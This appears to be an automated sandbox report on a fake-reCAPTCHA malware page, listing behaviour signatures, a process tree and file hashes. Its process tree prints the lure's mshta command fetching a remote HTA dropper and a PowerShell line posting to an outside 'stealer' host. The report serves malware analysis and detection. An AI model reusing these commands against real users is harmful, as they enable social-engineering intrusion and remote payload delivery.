Analysis

  • max time kernel
    120s
  • max time network
    127s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/09/2024, 16:07

General

  • Target
    https://skids.dev/verify
  • Sample240929-tk2bas1aqq

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://skids.dev/recaptcha-verify

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Detected potential entity reuse from brand GOOGLE.
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 13 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 25 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://skids.dev/verify
    1⤵
    • Enumerates system info in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:3304
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fff636c46f8,0x7fff636c4708,0x7fff636c4718
      2⤵
        PID:1160
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2144,9258156856675329766,9197376520021956921,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2156 /prefetch:2
        2⤵
          PID:3620
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2144,9258156856675329766,9197376520021956921,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2260 /prefetch:3
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:3216
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2144,9258156856675329766,9197376520021956921,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2640 /prefetch:8
          2⤵
            PID:3148
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,9258156856675329766,9197376520021956921,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3316 /prefetch:1
            2⤵
              PID:2632
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,9258156856675329766,9197376520021956921,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3324 /prefetch:1
              2⤵
                PID:2776
              • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2144,9258156856675329766,9197376520021956921,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5056 /prefetch:8
                2⤵
                  PID:2192
                • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2144,9258156856675329766,9197376520021956921,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5056 /prefetch:8
                  2⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:3256
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,9258156856675329766,9197376520021956921,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4840 /prefetch:1
                  2⤵
                    PID:1308
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,9258156856675329766,9197376520021956921,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4836 /prefetch:1
                    2⤵
                      PID:1944
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,9258156856675329766,9197376520021956921,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5736 /prefetch:1
                      2⤵
                        PID:2084
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,9258156856675329766,9197376520021956921,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5716 /prefetch:1
                        2⤵
                          PID:3804
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2144,9258156856675329766,9197376520021956921,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1312 /prefetch:2
                          2⤵
                          • Suspicious behavior: EnumeratesProcesses
                          PID:4864
                      • C:\Windows\System32\CompPkgSrv.exe
                        C:\Windows\System32\CompPkgSrv.exe -Embedding
                        1⤵
                          PID:2920
                        • C:\Windows\System32\CompPkgSrv.exe
                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                          1⤵
                            PID:3936
                          • C:\Windows\system32\mshta.exe
                            "C:\Windows\system32\mshta.exe" https://skids.dev/recaptcha-verify # ✅ ''I am not a robot - reCAPTCHA Verification ID: 8218''
                            1⤵
                            • Blocklisted process makes network request
                            PID:3988
                          • C:\Windows\system32\mshta.exe
                            "C:\Windows\system32\mshta.exe" https://skids.dev/recaptcha-verify # ✅ ''I am not a robot - reCAPTCHA Verification ID: 8218''
                            1⤵
                            • Checks computer location settings
                            PID:4944
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c powershell -Command "Invoke-RestMethod -Uri 'https://stealer.to/ping' -Method POST -Body @{message='@here `Someone opened the exploit`'}"
                              2⤵
                              • System Network Configuration Discovery: Internet Connection Discovery
                              PID:3252
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell -Command "Invoke-RestMethod -Uri 'https://stealer.to/ping' -Method POST -Body @{message='@here `Someone opened the exploit`'}"
                                3⤵
                                • Blocklisted process makes network request
                                • Command and Scripting Interpreter: PowerShell
                                • System Network Configuration Discovery: Internet Connection Discovery
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                PID:968

                          Network

                                MITRE ATT&CK Enterprise v15

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                                Downloads

                                1761e88d-a47d-4dae-bbfe-d43c7a3d3ca8.tmp

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\1761e88d-a47d-4dae-bbfe-d43c7a3d3ca8.tmp
                                • Size 11KB
                                • SHA256 930d1d9eb07b82fb5c14c8ca021b0533c4205b1cd6deedb1da1c0b4264f905ab
                                • MD5 SHA1 SHA512 SSDEEP

                                settings.dat

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                • Size 152B
                                • SHA256 50fe80c9435f601c30517d10f6a8a0ca6ff8ca2add7584df377371b5a5dbe2d9
                                • MD5 SHA1 SHA512

                                settings.dat

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
                                • Size 152B
                                • SHA256 20ab88e23fb88186b82047cd0d6dc3cfa23422e4fd2b8f3c8437546a2a842c2b
                                • MD5 SHA1 SHA512

                                the-real-index

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
                                • Size 72B
                                • SHA256 ff374245e521b529fe4f350146ecb9d9a999618dd7b0e319db7a9415ef7eaf06
                                • MD5 SHA1 SHA512

                                Network Persistent State

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State
                                • Size 447B
                                • SHA256 2cf833221c74b401aa74f630faabb8be2243bf2cf585458b1cd8b048ebb3cc5e
                                • MD5 SHA1 SHA512

                                Preferences

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                • Size 6KB
                                • SHA256 1c378fc0cedc21f87163cbfb68ec7bb3826518b424e27d7841f91bb84cdf6370
                                • MD5 SHA1 SHA512 SSDEEP

                                Preferences

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                • Size 5KB
                                • SHA256 8ee701bf328dcb62b6c20a5c47384a3112f024efcee455b858d822dce911affc
                                • MD5 SHA1 SHA512 SSDEEP

                                CURRENT

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT
                                • Size 16B
                                • SHA256 0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd
                                • MD5 SHA1 SHA512

                                Local State

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                • Size 11KB
                                • SHA256 fd830836128022375206be6f20f026535731baa09547e8d803f20a5f9bdf01c0
                                • MD5 SHA1 SHA512 SSDEEP

                                Local State

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                • Size 10KB
                                • SHA256 c8edb5735270078d82fda1d32c85e2c160a10e21df0d6d0f6c3d881b7f29f46d
                                • MD5 SHA1 SHA512 SSDEEP

                                recaptcha-verify[1]

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\WLXU5DI6\recaptcha-verify[1]
                                • Size 4KB
                                • SHA256 962fe980a0b947dc739d285136df531f0a42103ea5b91b9c930a3457c352e027
                                • MD5 SHA1 SHA512 SSDEEP

                                favicon[1].ico

                                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\ZK5NPJWQ\favicon[1].ico
                                • Size 5KB
                                • SHA256 6da5620880159634213e197fafca1dde0272153be3e4590818533fab8d040770
                                • MD5 SHA1 SHA512 SSDEEP

                                __PSScriptPolicyTest_3hymii1o.csr.ps1

                                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3hymii1o.csr.ps1
                                • Size 60B
                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                • MD5 SHA1 SHA512

                                memory/968-151-0x0000019DE0400000-0x0000019DE0422000-memory.dmp

                                memory/968-161-0x0000019DE0B80000-0x0000019DE0D42000-memory.dmp